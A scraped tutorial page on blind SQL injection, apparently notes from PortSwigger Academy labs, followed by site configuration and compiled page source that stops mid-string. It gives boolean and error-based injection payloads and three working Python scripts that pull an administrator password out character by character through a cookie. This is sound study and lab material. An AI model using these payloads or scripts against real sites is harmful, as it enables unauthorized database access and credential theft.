Blind SQLi is when the application is vulnerable but HTTP responses don’t return query results or error details — making UNION attacks ineffective since there’s nothing to read back.
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
The app shows a “Welcome back” message if the query returns results — nothing otherwise. That single boolean difference is enough to extract data.Injecting two conditions back to back:
xyz' AND '1'='1 ← true → "Welcome back" shownxyz' AND '1'='2 ← false → "Welcome back" gone
This lets you ask yes/no questions against the database and infer data one bit at a time.
In this lab, I exploited a blind SQL injection vulnerability in the TrackingId cookie to extract the administrator password character by character.The application returned a different response when the injected condition evaluated to true, which allowed boolean-based extraction.
GET / HTTP/2Host: 0adc00e4030450ba84de4c2e00db005d.web-security-academy.netCookie: TrackingId=fFLn3TqBCmm6fOZe' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 1, 21) = 'ewlza94ll9bheae3vstzm'-- ; session=phcqNI4KVhQcLxvjczOHuCFq30LseaYV
The injection works because the backend query likely looks like:
Sometimes a query runs, but the page looks the same whether your condition is
true or false. In that case, normal boolean response checks do not help.The workaround is to make the database throw an error only when a condition is
true. Then you infer truth from a response difference (500 error, different
page length, missing content, etc.).
xyz' AND ( SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
One-liner (Burp-friendly):
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
If the request now errors, the condition is true. If it does not, the condition
is false. Repeat this per character and position to recover the full value.
import requestsurl = "https://0ab600ed03fa738380f00da500d200c4.web-security-academy.net/"chars = list('abcdefghijklmnopqrstuvwxyz0123456789')password = ""switch = Truecounter = 1while switch: switch = False for i in range(0, len(chars)): payload = f"dtzF9IcZvrKHYyez' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{counter},1)='{chars[i]}') || '" headers = {'Cookie' : f'TrackingId={payload}; session=7lX1aOCANa2tHPmFi5uwxzYV8CQVaxtC'} r = requests.get(url, headers=headers) print(r.status_code) if r.status_code == 500: password = password + chars[i] switch = True counter += 1print(password)
2) My Version (AI Improved)
import requestsurl = "https://0a3f0090039da8e28008128b001700f6.web-security-academy.net/"chars = '0123456789abcdefghijklmnopqrstuvwxyz' # ASCII ordersession = requests.Session()TRACKING_ID = "1ZQg7u4x2pUganpD"SESSION_COOKIE = "Mbce8cZSOv2mUbykvP8EK2UY2WGgkU24"def check_greater_than(position, char): """Check if character at position is greater than char""" payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)>'{char}') || '" headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'} r = session.get(url, headers=headers, timeout=10) return r.status_code == 500def char_exists_at_position(position, char): """Verify the character actually equals what we found""" payload = f"{TRACKING_ID}' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,{position},1)='{char}') || '" headers = {'Cookie': f'TrackingId={payload}; session={SESSION_COOKIE}'} r = session.get(url, headers=headers, timeout=10) return r.status_code == 500def find_char_at_position(position): """Binary search to find character at given position""" low, high = 0, len(chars) - 1 while low < high: mid = (low + high) // 2 if check_greater_than(position, chars[mid]): low = mid + 1 else: high = mid return chars[low]# Main extraction looppassword = ""position = 1while True: char = find_char_at_position(position) # Verify this character actually exists if not char_exists_at_position(position, char): break password += char print(f"[+] Position {position}: {char} | Password: {password}") position += 1print(f"\n[✓] Final password: {password}")
3) Tutorial Version
import sysimport requestsimport urllib3import urllib.parseurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}def sqli_password(url): password_extracted = "" for i in range(1,21): for j in range(32,126): sqli_payload = "' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" % (i,j) sqli_payload_encoded = urllib.parse.quote(sqli_payload) cookies = {'TrackingId': 'FGDUewi6MoAn18KJ' + sqli_payload_encoded, 'session': 'VdmCjrlz6I6zAXGXEp2u32p0OXKDGhm2'} r = requests.get(url, cookies=cookies, verify=False, proxies=proxies) if r.status_code == 500: password_extracted += chr(j) sys.stdout.write('\r' + password_extracted) sys.stdout.flush() break else: sys.stdout.write('\r' + password_extracted + chr(j)) sys.stdout.flush()def main(): if len(sys.argv) !=2: print("(+) Usage: %s <url>" % sys.argv[0]) print("(+) Example: %s www.example.com" % sys.argv[0]) sys.exit(-1) url = sys.argv[1] print("(+) Retreiving administrator password...") sqli_password(url)if __name__ == "__main__": main()
Some applications expose raw database errors when input breaks a query. This is
often a misconfiguration, and it can reveal exactly how your payload is being
embedded.Example after injecting a single quote into an id parameter:
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
What this tells you:
You are inside a single-quoted string.
The injection point is in a WHERE clause.
You likely need to close the quote and comment out the tail to keep syntax
valid.
This can turn an otherwise blind issue into a visible one if the app reflects
database error details back to you.
Mistake: I kept the original tracking ID prefix (GA9UUdl1nUvjSjgU) before the injection.
Result: payload was too long and got cut mid-query.
Seen as: ... FROM users WHE'. Expected char
Fix: remove the original value and start directly with ' to save space.
Mistake: I used the longer filter payload first:
TrackingId=GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--
Result: truncation before WHERE finished.
Fix: start with shorter extraction (LIMIT 1) to validate the technique, then refine if needed.
Mistake: forgetting to neutralize the trailing quote from the original query.
Fix: close the string and end with -- so the rest of the server query is ignored.
End goal: exploit SQLi in TrackingId, leak admin credentials from users, and
log in as administrator.Observed backend pattern after quote testing:
select trackingId from trackingIdTable where trackingId='pFNjoVuG3fnTFJ3a''SELECT * FROM tracking WHERE id = 'pFNjoVuG3fnTFJ3a'--'. Expected char
Payload progression I used:
pFNjoVuG3fnTFJ3a' AND CAST((SELECT 1) as int)--' AND 1=CAST((SELECT username from users LIMIT 1) as int)--' AND 1=CAST((SELECT password from users LIMIT 1) as int)--
Recovered password in this run:
fc9v2vqq5gozv1cb0ibj
Quick validation logic:
If payload is malformed/truncated, you get unterminated string errors.
If CAST forces string -> int conversion, the DB error leaks the selected value.
Once password is leaked, authenticate as administrator to solve the lab.
This error text is easy to misread. It usually means your payload was truncated,
which left an unclosed string.What a string literal means here:
A string literal is plain text wrapped in single quotes in SQL, like 'admin'.
In this query, the cookie value is placed inside a string literal:
WHERE id = '<cookie value>'
If your injection adds or breaks ' quotes incorrectly, SQL thinks the text
string started but never finished.
Example error:
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHE'. Expected char
What is happening:
Input was cut around position 95 (cookie length/validation limit).
WHERE was truncated to WHE.
Truncation left a dangling '.
SQL parser sees a started string literal with no closing quote.
What Expected char actually means:
Not “I need a specific character”.
It means: “string literal started, but input ended before completion”.
Visual:
Full payload:' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--Server received (truncated):' AND 1=CAST((SELECT password FROM users WHE'
Fix: shorten the payload to fit the limit.
'AND CAST((SELECT password FROM users LIMIT 1)AS int)=1--
This removes unnecessary spaces and avoids wasting characters on the original
tracking ID prefix.
⌘I
{"docsConfig":{"theme":"linden","$schema":"https://mintlify.com/docs.json","name":"Dudji's Docs","colors":{"primary":"#d5363e","light":"#e05560","dark":"#b02a32"},"logo":{"light":"https://mintcdn.com/dudji/eqP9RDjskrXV_bQE/logo/light.svg?fit=max\u0026auto=format\u0026n=eqP9RDjskrXV_bQE\u0026q=85\u0026s=a1a4d80894ccf5e2c85d642954915ca9","dark":"https://mintcdn.com/dudji/eqP9RDjskrXV_bQE/logo/dark.svg?fit=max\u0026auto=format\u0026n=eqP9RDjskrXV_bQE\u0026q=85\u0026s=bff1777fd1e6944bd0228d85b85b0b6f","href":"https://dudji.com"},"favicon":{"light":"https://mintcdn.com/dudji/eqP9RDjskrXV_bQE/logo/light.svg?fit=max\u0026auto=format\u0026n=eqP9RDjskrXV_bQE\u0026q=85\u0026s=a1a4d80894ccf5e2c85d642954915ca9","dark":"https://mintcdn.com/dudji/eqP9RDjskrXV_bQE/logo/dark.svg?fit=max\u0026auto=format\u0026n=eqP9RDjskrXV_bQE\u0026q=85\u0026s=bff1777fd1e6944bd0228d85b85b0b6f"},"appearance":{"default":"dark"},"background":{"decoration":"windows","color":{"light":"#fef9f9","dark":"#060606"}},"navbar":{"primary":{"type":"button","label":"Home","href":"https://dudji.com"}},"footer":{"socials":{"x":"https://x.com/dudji","linkedin":"https://linkedin.com/in/dudji","instagram":"https://instagram.com/dudji","github":"https://github.com/0xDudji"},"links":[{"header":"Dudji","items":[{"label":"Home","href":"https://Dudji.com"},{"label":"Contact","href":"https://Dudji.com/contact"},{"label":"Writeups","href":"https://Writeups.Dudji.com"},{"label":"Academy","href":"https://Academy.Dudji.com"}]},{"header":"Hackbook","items":[{"label":"Playbook","href":"/playbook"},{"label":"Attacks","href":"/attacks"},{"label":"Tech","href":"/tech"},{"label":"Payloads","href":"/payloads"},{"label":"Tools","href":"/tools"}]}]},"seo":{},"fonts":{"heading":{"family":"JetBrains Mono"},"body":{"family":"JetBrains Mono"}},"styling":{"codeblocks":{"theme":{"light":"github-light","dark":"tokyo-night"}},"latex":false},"navigation":{"global":{"anchors":[]},"pages":[]}},"deployment":{"deploymentMetadataValue":{"subdomain":"dudji","hasAudioNarration":false,"actualSubdomain":"dudji","customDomains":["hackbook.dudji.com"],"gitSource":{"type":"github","owner":"0xdudji","repo":"docs-hackbook","deployBranch":"main","contentDirectory":"","isPrivate":false,"mountPath":"","label":""},"chroma":{"liveDeploymentHistoryId":"6a23381c6fd6897f2c896933","collectionId":"25364ee0-3568-44a1-978b-bb73ac584e92","schemaVersion":"v2"},"entitlements":{},"buildId":"6a23381c6fd6897f2c896933:success","clientVersion":"0.0.3894","searchFilterCounts":[{"language":"default","tag":"Tech","count":44},{"language":"default","tag":"Services","count":18},{"language":"default","tag":"Linux","count":14},{"language":"default","tag":"Windows","count":11},{"language":"default","tag":"Tools","count":11},{"language":"default","tag":"Attacks","count":9},{"language":"default","tag":"Exploitation Frameworks","count":8},{"language":"default","tag":"Metasploit","count":8},{"language":"default","tag":"Web","count":7},{"language":"default","tag":"Overview","count":6}]},"assistantConfig":{"enableAskAiButton":false,"enableStarterQuestions":false,"enableAskAiSearchBar":true},"hasChatPermissions":false,"hasWebMcpPermissions":false,"toggles":[{"name":"kill-isr","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-mintlify-slack","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-v7-file-tree","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-integrations-settings","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-pr-grouping","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"custom-prefix","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"analytics-v7","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"user-flows-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"no-publish-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workos-onboarding","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"llms-txt-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"pause-universal-search-reconcile","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving-live","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"stripTemperatureMiddleware","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"per-site-search-delta","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"support-platform-pylon-zendesk","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-branches-v2-autocommit","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-branches-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"instant-rollback","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications-server","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-private-page-search","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-fable","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fixed-ai-action-pricing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automation-resolve-merge-conflict","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"scoped-publishing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"mintql","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"page-level-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"teamspace","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-version-history-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"vite-origin","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-nav-generations","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workspace-projects","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"assistant-v5","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"byok-sep-25","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"revalidation-jwt","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-agent-model-picker","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"client-snapshot-docs-config","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"hobby-abuse-scan","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false}],"isAtlas":false,"googleFontsInlined":true},"customCss":[{"filePath":"custom.css","content":"a[href*=mintlify]{display:none!important}.cl-item{display:flex;align-items:baseline;gap:.625rem;cursor:pointer;padding:.3rem 0;line-height:1.6;user-select:none}.cl-item input[type=checkbox]{accent-color:#dc2626;width:1rem;height:1rem;flex-shrink:0;cursor:pointer;margin-top:2px}.cl-item span{user-select:text}.cl-item:has(input[type=checkbox]:checked) span{opacity:.4;text-decoration:line-through;text-decoration-color:#dc2626;transition:opacity .2s ease}:not(html):not(body)::-webkit-scrollbar{display:none!important;width:0!important}:not(html):not(body){scrollbar-width:none!important;-ms-overflow-style:none!important}body:has(.homepage) #sidebar,body:has(.homepage) #sidebar-content{display:none!important}"}],"page":{"pagePath":"attacks/web/sql-injection/blind-sql-injection","slug":"/attacks/web/sql-injection/blind-sql-injection","pageMetadata":{"title":"Blind SQL Injection","description":"Extract data from databases where query results aren't returned in the HTTP response.","href":"/attacks/web/sql-injection/blind-sql-injection"},"description":{"compiledSource":"\"use strict\";\nconst {jsx: _jsx} = arguments[0];\nconst {useMDXComponents: _provideComponents} = arguments[0];\nfunction _createMdxContent(props) {\n const _components = {\n p: \"p\",\n ..._provideComponents(),\n ...props.components\n };\n return _jsx(_components.p, {\n children: \"Extract data from databases where query results aren’t returned in the HTTP response.\"\n });\n}\nfunction MDXContent(props = {}) {\n const {wrapper: MDXLayout} = {\n ..._provideComponents(),\n ...props.components\n };\n return MDXLayout ? _jsx(MDXLayout, {\n ...props,\n children: _jsx(_createMdxContent, {\n ...props\n })\n }) : _createMdxContent(props);\n}\nreturn {\n default: MDXContent\n};\n","frontmatter":{},"scope":{}},"pageType":"default","mdx":{"mdxSource":{"compiledSource":"\"use strict\";const{Fragment:_Fragment,jsx:_jsx,jsxs:_jsxs}=arguments[0];const{useMDXComponents:_provideComponents}=arguments[0];function _createMdxContent(props){const _components={code:`code`,h5:`h5`,hr:`hr`,li:`li`,ol:`ol`,p:`p`,pre:`pre`,span:`span`,strong:`strong`,ul:`ul`,..._provideComponents(),...props.components},{CodeBlock,Heading,OptimizedImage,Warning}=_components;if(!CodeBlock)_missingMdxReference(`CodeBlock`,true);if(!Heading)_missingMdxReference(`Heading`,true);if(!OptimizedImage)_missingMdxReference(`OptimizedImage`,true);if(!Warning)_missingMdxReference(`Warning`,true);return _jsxs(_Fragment,{children:[_jsx(Heading,{level:`2`,id:`what-is-blind-sql-injection`,children:`What is Blind SQL Injection?`}),`\n`,_jsx(_components.p,{children:`Blind SQLi is when the application is vulnerable but HTTP responses don’t return query results or error details — making UNION attacks ineffective since there’s nothing to read back.`}),`\n`,_jsx(Heading,{level:`2`,id:`exploiting-via-conditional-responses`,children:`Exploiting via Conditional Responses`}),`\n`,_jsx(_components.p,{children:`Consider a tracking cookie processed like this:`}),`\n`,_jsx(OptimizedImage,{src:`https://dudji.gitbook.io/hackbook/~gitbook/image?url=https%3A%2F%2F2166287169-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FaLYdKLEEzXaL0ACxZZHt%252Fuploads%252FeYoKCvvW5ZC8IS3Sia9g%252Fimage.png%3Falt%3Dmedia%26token%3Dc2ec0014-53e1-40c3-af1a-ed3254bbb84d\u0026width=768\u0026dpr=3\u0026quality=100\u0026sign=d5379125\u0026sv=2`,alt:`Blind SQL injection tracking cookie`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`SELECT`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` TrackingId `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`FROM`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` TrackedUsers `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`WHERE`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` TrackingId `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`u5YD3PapBcR4lN3e7Tj4`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`The app shows a `,_jsx(_components.strong,{children:`“Welcome back”`}),` message if the query returns results — nothing otherwise. That single boolean difference is enough to extract data.`]}),`\n`,_jsx(_components.p,{children:`Injecting two conditions back to back:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`2`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`xyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`1`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`1`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` ← true → `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`Welcome back`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` shown`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`xyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`1`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`2`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` ← false → `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`Welcome back`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` gone`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`This lets you ask yes/no questions against the database and infer data one bit at a time.`}),`\n`,_jsx(Heading,{level:`2`,id:`extracting-data-character-by-character`,children:`Extracting Data Character by Character`}),`\n`,_jsxs(_components.p,{children:[`To brute-force the `,_jsx(_components.code,{children:`Administrator`}),` password, test one character at a time using `,_jsx(_components.code,{children:`SUBSTRING`}),`:`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`xyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND SUBSTRING((SELECT Password FROM Users WHERE Username = `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`Administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`), 1, 1) > `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`m`})]}),`\n`]})})}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`“Welcome back” shown → first char is `,_jsx(_components.strong,{children:`after`}),` `,_jsx(_components.code,{children:`m`}),` in the alphabet`]}),`\n`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`xyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND SUBSTRING((SELECT Password FROM Users WHERE Username = `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`Administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`), 1, 1) > `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`t`})]}),`\n`]})})}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`No “Welcome back” → first char is `,_jsx(_components.strong,{children:`not after`}),` `,_jsx(_components.code,{children:`t`})]}),`\n`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`xyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` AND SUBSTRING((SELECT Password FROM Users WHERE Username = `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`Administrator`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`), 1, 1) = `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`s`})]}),`\n`]})})}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`“Welcome back” shown → first char is `,_jsx(_components.strong,{children:_jsx(_components.code,{children:`s`})}),` ✓`]}),`\n`]}),`\n`,_jsx(_components.p,{children:`Repeat for each character position until the full password is recovered.`}),`\n`,_jsx(Warning,{children:_jsxs(_components.p,{children:[_jsx(_components.code,{children:`SUBSTRING`}),` is called `,_jsx(_components.code,{children:`SUBSTR`}),` on some databases — check the SQL injection\ncheat sheet.`]})}),`\n`,_jsx(Heading,{level:`3`,id:`lab-conditional-response-administrator-password-extraction`,children:`Lab: Conditional Response (Administrator Password Extraction)`}),`\n`,_jsxs(_components.p,{children:[`In this lab, I exploited a blind SQL injection vulnerability in the `,_jsx(_components.code,{children:`TrackingId`}),` cookie to extract the `,_jsx(_components.code,{children:`administrator`}),` password 